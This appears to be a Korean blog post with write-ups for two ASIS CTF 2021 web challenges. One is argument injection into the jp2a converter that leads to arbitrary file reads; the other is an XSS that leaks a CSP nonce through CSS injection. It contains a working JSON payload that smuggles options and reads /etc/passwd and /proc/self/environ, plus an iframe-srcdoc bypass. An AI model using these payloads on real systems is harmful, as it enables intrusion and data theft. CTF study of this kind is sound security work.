Profile

i love cat

as3617

asis ctf 2021 - web writeup

ASCII art as a service

image

jpg파일이 있는 url을 넘겨주면 ascii art로 변환해서 보여주는 사이트다.

코드를 확인해보면

setTimeout(()=>{
        try{
            const output = childProcess.execFileSync("timeout",["2","jp2a",...url])
            fs.writeFileSync(outputFileName,output.toString())
            fs.writeFileSync(reqFileName,[reqToken,req.session.id,outputFileName].join('|'))
        } catch(e){
            fs.writeFileSync(reqFileName,[reqToken,req.session.id,"Something bad happened!"].join('|'))
        }
    },2000)

jp2a라는 프로그램을 이용하여 변환해주는 것을 확인할 수 있었고 jp2a를 우선적으로 분석해보았다.

image

일단 url을 넘겨줬을 때 내부에서 curl을 사용하여 데이터를 받아온다는 것을 알 수 있었고 그 외에도 그렇다할 취약점을 발견할 순 없었다.

이후 사용되는 옵션을 확인했을 때 몇몇 유용한 옵션들이 보였다.

image

--output옵션을 통해 임의의 위치에 output을 저장할 수 있으며 --chars--html-title옵션을 이용하여 임의의 데이터를 output에 추가할 수 있었다.

app.get("/request/:reqtoken",(req,res)=>{
    const reqToken = req.params.reqtoken
    const reqFilename = `./request/${reqToken}`
    var content
    if(!/^[a-zA-Z0-9]{32}$/.test(reqToken) || !fs.existsSync(reqFilename)) return res.json( { failed: true, result: "bad request token." })

    const [origReqToken,ownerSessid,result] = fs.readFileSync(reqFilename).toString().split("|")

    if(req.session.id != ownerSessid) return res.json( { failed: true, result: "Permissions..." })
    if(result[0] != ".") return res.json( { failed: true, result: result })

    try{
        content = fs.readFileSync(result).toString();
    } catch(e) {
        return res.json({ failed: false, result: "Something bad happened!" })
    }

    res.json({ failed: false, result: content })
    res.end()
})

이후 코드를 분석하는데 request 폴더 안의 파일의 내용을 읽어온 다음 |를 기준으로 split한 뒤 result 변수의 값을 가지고 fs.readFileSync 함수를 통해 파일을 읽어오는 것을 알게되었다.
우린 request 폴더에 파일을 생성할 수 있고 output data도 컨트롤하는 것이 가능하기 때문에 임의의 파일을 읽어올 수 있을 것이다.

const output = childProcess.execFileSync("timeout",["2","jp2a",...url])

우선 전개연산자를 사용하고 있기 때문에 임의의 옵션을 추가할 수 있으며

if(req.session.id != ownerSessid) return res.json( { failed: true, result: "Permissions..." })

이 부분을 우회하기 위한 req.session.id는 express session에 대해 알고 있다면 쉽게 구할 수 있기 때문에 어렵지 않았다.

{"url":["https://images.all-free-download.com/images/graphiclarge/animal_pictures_08_hd_picture_168987.jpg","--html","--html-title=fE4uHeTH5cKqxJiLrKokdLmN0yf9sJFt|yANua-d_tq02Nx00CcvxdXuPMlI3LoRA|../../../../../../../../../etc/passwd|","--output=/app/request/i3JYOcd2Vi5wq8hq8TdIYbRXm2iUaa88","--debug"]}

위의 data를 서버로 전송하게 된다면 result변수에는 ../../../../../../../../../etc/passwd가 들어가게 될 것이고 임의의 파일을 읽을 수 있게 된다.

root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nmessagebus:x:101:101::/nonexistent:/usr/sbin/nologin\nwww:x:1000:1000::/home/www:/bin/sh

flag는 환경변수로 선언되있기 때문에 /proc/self/environ을 읽어주면 구할 수 있다.

FLAG : ASIS{ascii_art_is_the_real_art_o/_a39bc8}

image

퍼블 땄다

Lovely nonces

image

전형적인 xss문제다.

<script nonce="jt3l81p0ks86wnnm">
        document.location.hash = "";
        window.onhashchange = ()=>{
            if(document.location.hash) desc.innerHTML = decodeURIComponent(document.location.hash.slice(1));
            document.location.hash = "";
        };
    </script>

fragment 부분에 있는 data를 읽어와서 innerHTML로 body에 삽입해준다.
일단 innerHTML이기 때문에 <script> tag는 쓸 수 없지만 이는 <iframe srcdoc='<script>alert(1)</script>'></iframe>을 이용하면 간단하게 우회할 수 있다. 하지만 문제는 nonce인데

const genNonce = ()=>"_".repeat(16).replace(/_/g,()=>"abcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.random()*36));

Math.random()을 이용하여 생성하고 있기 때문에 예측하기 힘들다. 그렇다고 예측을 못하는 것은 아니다. 하지만 더 쉬운 방법이 있기 때문에 고생 안해도 된다.

css injection을 이용하여 nonce를 유출하면 되는데 이는 nonce가 content-security-policy헤더가 아닌 meta tag를 이용하여 설정되었기 때문에 가능하다.

우선 익스 시나리오는 다음과 같다.

websocket을 이용하여 공격자의 서버와 페이지 연결
fragment를 변경하며 임의의 css 페이지에 삽입
nonce가 다 유출된 경우 <iframe>을 삽입하여 xss공격 시도
flag leak

imageimageimage

nonce가 잘 leak되고 alert(document.domain)도 정상적으로 실행된 것을 확인할 수 있다.
이제 flag를 leak하면 되는데 왜인지 모르겠는데 같은 origin임에도 iframe 안에서 parent frame의 cookie에 제대로 접근이 되지 않는다. 근데 window.open을 이용하여 다른 페이지를 연 다음 flag에 접근하면 flag를 읽을 수 있었다. 왠진 잘 모르겠다..

근데 지연속도가 300ms나 되서 nonce가 leak되는 도중에 봇이 페이지를 닫는 문제가 생겼다. 그래서 aws 인도 인스턴스를 생성했고 이후 flag를 획득할 수 있었다.

FLAG : ASIS{nonces_disappointed_me_df393b}
payload : https://gist.github.com/as3617/c3dfb1a3fa1dac01a19c652e5077ffe7

'ctf writeup' 카테고리의 다른 글

CyberGuardians CTF all writeup  (0) 2021.11.10
Hack.lu CTF 2021 - web writeup  (1) 2021.10.31
2021 Whitehat Contest Finals web writeup  (0) 2021.10.10
corCTF 2021 - mathme writeup  (0) 2021.08.24
SSTF 2021 - poxe_center writeup  (0) 2021.08.17